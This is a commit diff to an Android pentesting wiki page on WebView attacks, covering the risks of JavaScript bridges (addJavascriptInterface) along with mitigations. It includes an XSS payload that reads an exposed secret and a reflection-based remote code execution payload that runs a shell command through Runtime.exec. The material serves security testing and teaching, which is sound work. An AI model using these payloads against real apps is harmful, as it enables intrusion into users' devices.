GitBook: [master] one page modified

mobile-apps-pentesting/android-app-pentesting/webview-attacks.md

@@ -2,11 +2,6 @@
 
 ## Interesting Configurations
 
-### Javascript Enabled
-
-WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled%28boolean%29) is can explicitly enabling or disabling it.   
-Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
-
 ### File Access
 
 _WebView_ file access is enabled by default. Since API 3 \(Cupcake 1.5\) the method [_setAllowFileAccess\(\)_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess%28boolean%29) is available for explicitly enabling or disabling it.  
@@ -48,6 +43,74 @@ The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https:/
 * Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess%28%29) to know if the configuration is enabled.
 * Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess%28boolean%29) to enable/disable it.
 
+### Javascript Enabled
+
+WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled%28boolean%29) is can explicitly enabling or disabling it.   
+Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
+
+### Javascript Bridge
+
+Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** \(annotated with `@JavascriptInterface`\) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.
+
+Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.
+
+> Warning: Take extreme care with apps targeting Android versions below Android 4.2 \(API level 17\) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default \(instead of only those annotated\).
+
+#### Static Analysis
+
+```javascript
+//Class with a method to access a secret
+public class JavascriptBridge {
+        // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
+        // not annotated with @JavascriptInterface are not visible from JavaScript
+        @JavascriptInterface
+        public String getSecret() {
+            return "SuperSecretPassword";
+        };
+
+}
+```
+
+```javascript
+//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
+webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
+webView.reload();
+```
+
+```markup
+<!-- Exploit to get the secret from JavaScript -->
+<script>alert(javascriptBridge.getSecret());</script>
+```
+
+With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods.
+
+{% hint style="info" %}
+Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**.
+{% endhint %}
+
+If `addJavascriptInterface` is necessary, take the following considerations:
+
+* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method \(via `WebView.getUrl`\).
+* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser \(e.g. Chrome, Firefox\).
+* If necessary for legacy reasons \(e.g. having to support older devices\), **at least set the minimal API level to 17** in the manifest file of the app \(`<uses-sdk android:minSdkVersion="17" />`\).
+
+### Javascript Bridge to RCE via Reflection
+
+As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)\(_check it for ideas in case you obtain RCE_\) ****once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:
+
+```markup
+<!-- javascriptBridge is the name of the Android exposed object -->
+<script>
+function execute(cmd){
+  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
+}
+execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
+</script>
+```
+
+However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.  
+In that scenario, you won't be able to abuse Reflection to execute arbitrary code.
+
 ## Scenarios
 
 ### Javascript Enabled & FileSystemAccess Disabled